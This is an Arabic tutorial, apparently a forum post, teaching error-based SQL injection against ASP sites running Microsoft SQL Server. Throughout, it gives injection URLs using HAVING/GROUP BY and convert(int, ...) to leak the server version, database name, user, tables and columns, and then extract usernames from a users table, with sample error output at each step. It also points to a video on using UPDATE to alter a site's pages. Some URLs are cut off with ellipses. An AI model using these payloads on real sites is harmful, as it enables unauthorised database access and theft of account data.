فى البداية الشرح منقول للاخ دراجون يتم إستخدآم هذا النوع لحقن صفحـآتـ ASP
1-إيجاد خطأ MSSQL
المرحلة الأولى هي إيجـآد خطاء MSSQL ويتم إكتشاف هذا النوع تماماً مثل إكتشاف أخطاء من نوع SQL حيث نقوم بإضافة رمز ((')) للمتحول
مثال
WWW.EXMPILE.COMASP?neWs_id=778
نقوم بإضافة القيمة ((')) للمتحول neWs_id=778
إستخدآم ["HAVING" and "GROUP BY"]
ابعد أن نقوم بإضافة الرمز ((')) للمتحول ونتأكد من ظهور رسالة خطاء نستطيع إستخدآم "HAVING" and "GROUP BY" لإستخرآج الجدآول والأعمدة
WWW.EXMPILE.com/ASP?news_id=778 HAVING 1=1--
الأن سنحصل على الخطاء التالي
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
عن طريق هذا الخطاء تمكنا من معرفة إسم الجدول وهو news و إسم العامود وهو news_id
دقق في الخطاء وستجد إسم الجدول والعامود محصورين بين علآمة تنصيص فردية ((''))
الأن سنقوم بإضافة عبارة GROUP BY وإسم الجدول والعامود للإستعلام السابق
WWW.EXMPILE.com/ASP?news_id=778 GROUP BY news.news_id HAVING 1=1--
لاحظ الخطاء بعد إضافة GROUP BY
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
أيضاً تمكنا في هذا الخطاء من معرفة إسم الجدول + العامود الثاني news.news_author
حيث news إسم الجدول
و news_author إسم العامود
الأن سنقوم بنفس المهمة أي كتابة عبارة GROUP BY وإسم الجدول + العامودين
تابع
WWW.EXMPILE.com/ASP?news_id=778 GROUP BY news.news_id,news.news_author HAVING 1=1--
لاحظ الخطاء الأن
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
أيضاً تمكنا من معرفة إسم الجدوال + العامود الثالث news.news_detail
حيث news إسم الجدول
و news_detail إسم العامود
ولإستخرآج كافة الأعمدة تقوم بتكرآر الخطوآتـ مع الوضع في الأعتبار إعادة إدرآج أي عامود جديد
للإستعلام السابق [ عمياة تكرآر يعني ]ِ
ليس عليك أن تستخرج جميع الأعمدة تستطيع أن تكتفى بأي عدد من الجدآول والأعمدة
النقطة المهمة هي " كيف أعرف إني حصلتـ على جميع الجدآول والأعمدة"ِ
تستطيع أن تعرف ذلك عندما تككون نتيجة الإستعلآم لاتحتوى على جدول وعامود جديد وإنما تعيد لك نفس الجدول والعامود
شـآهد هذا الفيديو وهو لأبو نجم حيث يشرح فية كيفية إستخدآم الأمر upDATE للتعديل على صفحة معينة
http://www.4shared.com/file/34533080...ql_update.html
.................................................. ....
إستخدآم [CONVERT]
تقوم بنفس مهمة "HAVING" and "GROUP BY" الإ أن إستخدآم هذا النوع في عملية الحقن يتيح لك معرفة الفيرجن + اليوزر + الدآتـآ بيس
أيضاً تستطيع إستخدآم هذا النوع في حـآل لم يثمر إستخدآم "HAVING" and "GROUP BY" بأي نتيجة
في البدآية وبعد أن تتأكد أ ن الموقع يحتوى على خطأ MMSQL
تقوم بإضآفة الإستعلآم التالي للمتحول
www.EXMPILE.ASP?news_id=788+and+1=convert(int,@@ve rsion)--
لقد قمنا بطلب الفيرجن في هذا الإستعلام ،، وعلية فإن الخطأ سيكون على النحو التالي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007
22:47:07 Copyright © 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
' to data type int.
/page.asp, line 9
ركز على الخطأ المحصور بين علامة التنصيص الفردية تلاحظ وجود معلومات مثل الفيرجن ونظام التشغيل والحزمة
الأن سنقوم بطلب الدآتـآ بيس عن طريق إضافة +and+1=convert(int,db_name())-- للإستعلام
http://www.example.com/page.asp?id=788+and...nt,db_name())--
طلبنا الدآتـآ بيس ،، الخطاء سيكون كتآلي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9
لاحظ العبارة المحصورة بين علامة التنصيص الفردية وهي 'cwhdb' هذة هي الدآتـآ بيس
الأن سنقوم بطلب اليوزر عن طريق إضافة +and+1=convert(int,user_name())-- للإستعلام
http://www.example.com/page.asp?id=1+and+1...,user_name())--
طلبنا اليوزر .. الخطأ سيكون كتآلي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9
لاحظ العبآرة المحصورة دآخل علامة التنصيص 'sa' وهي اليوزر
الأن سنقوم بستخرآج الجدآول + الأعمدة
نقوم بإضافة الإستعلام التالي للرآبط
http://www.example.com/page.asp?id=788+and...hema.tables))--
الخطأ سيكون كتالي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9
من خلال الخطأ تمكنآ من معرفة أول جدول في القاعدة ..لاحظ العبارة المحصورة بين علامة التنصيص الفردية وهي 'threads' إسم الجدول الأول
الأن نريد أن نتأكد هل هناك جدول آخر ..؟؟؟
نقوم بإضآفة الإستعلام التالي
http://www.example.com/page.asp?id=788+and...ere+table_name+
not+in+('threads')))--
ركز على الإستعلام ... لقد قمنا بإضافة إسم الجدول ..نتيجة الإستعلام ستكون كتالي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9
لاحظ العبارة المحصورة دآخل علامة التنصيص وهي user وهو الجدول رقم إثنين
الأن نريد أن نتأكد هل يوجد هناك جدول آخر ...؟؟؟
ولعمل ذلك قم بنسخ إسم الجدول وضعة في الإستعلام السابق بعد الجدول الأول
http://www.example.com/page.asp?id=1+and+1...ere+table_name+
not+in+('threads','users')))--
قم بتكرآ العملية إذا كنتـ تريد إستخرآج جميع الجدآول الموجودة في القاعدة
كيف تعرف بأنك إستخرجتـ جميع الجدآول ..؟؟؟
تستطيع أن تعرف ذلك حين تكون نتيجة الإستعلام نفس الجدآول التى لديك [ يعني لن يظهر لك جدول جديد بل سيعيد لك نفس الجدآول الموجودة في الإستعلام]ِ أو أنة يقوم بإعـآدة خطأ يشبة الخطأ التالي
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10
الأن نريد أن نستخرج الأعمدة من أحد الجدآول..نقوم بإضآفة الإستعلام التالي
http://www.example.com/page.asp?id=788+and...ame='users'))--
لاحظ إدرآج إسم الجدول في نهاية الإستعلام ..
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9
لاحظ العبارة المحصورة بين علامة التنصيص وهي uname إسم العامود
طيب نريد أن نتأكد هل هناك عـآمود آخر ..؟؟؟
نقوم بكتابة الإستعلام التالي
http://www.example.com/page.asp?id=788+and...e_name='users'+
and+column_name+not+in+('uname')))--
لاحظ أننآ قمنا بإدرآج إسم القاعدة user ...وإسم العامود الذي حصلنا علية في الإستعلام السابق uname
الأن النتيجة ستكون كتالي ..ِ
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9
لاحظ العبارة المحصورة بين علامة التنصيص وهي ..upass العامود رقم إثنين
نقوم بتكرآر نفس العملية إذا أردنا الحصول على العامود الثالث ..حيث نقوم بإضة إسم العامود الجديد للإستعلام
بمعنى إذا أردنا معرفة العامود الذي يلي العامود upass نقوم بإضاة العامود upass بجانب العامود السابق في الإستعلام
تابع
http://www.example.com/page.asp?id=788+and...e_name='users'+
and+column_name+not+in+('uname','upass')))--
مرة أخرى لاحظ أننـآ قمنا بإدرآج إسم الجدول وهو user .. والأعمدة وهي uname,upass
وهكذا تستمر في عملية تكرآر حتى تصل الي العامود الأخير [ لاتنسي الكلام المذكور بالنسبة للعامود أو الجدول الأخير ]ِ
لنفترض أنك تريد أن تستعرض محتوي عـآمود معين .. تقوم بكتابة الإستعلام التالي
http://www.example.com/page.asp?id=788+and...+from+users))--
لاحظ اننا قمنا بإدرآج إسم العامود أولآ وهو uname ... ثم قمنا بإضافة الجدول وهو ...users
النتجية ستكون كتالي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9
لاحظ العبارة المحصورة دآخل علامة التنصيص وهي ..admin
الأن نريد أن نتأكد هل يحتوى العامود uname على حقل آخر غير الــــ admin
نقوم بإضآفة الإستعلام التالي
http://www.example.com/page.asp?id=788+and...n+('admin')))--
لاحظ أننآ أدرجنا قيمة الحقل الأول admin في نهاية الإستعلام ....
النتيجة ستكون كتالي
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9
لاحظ العبارة المحصورة بين علامة التنصيص وهي ... cwh وهي الحقل التالي في العامود ...uname
ولكي تنتقل الي الحقل الثالث في العامود ...uname ...تقوم بكتابة الإستعلام السابق مع مرآعـآة إضافة الحقل الجديد إلي الإستعلام .. بمعنى
إذا أردنا أن نعرف الحقل الذي يلي الحقل ..cwh.... فإننا نكتب الإستعلام بشكل التالي
http://www.example.com/page.asp?id=788+and...min','cwh')))--
وهكذا حتى تصل الي الحقل الأخير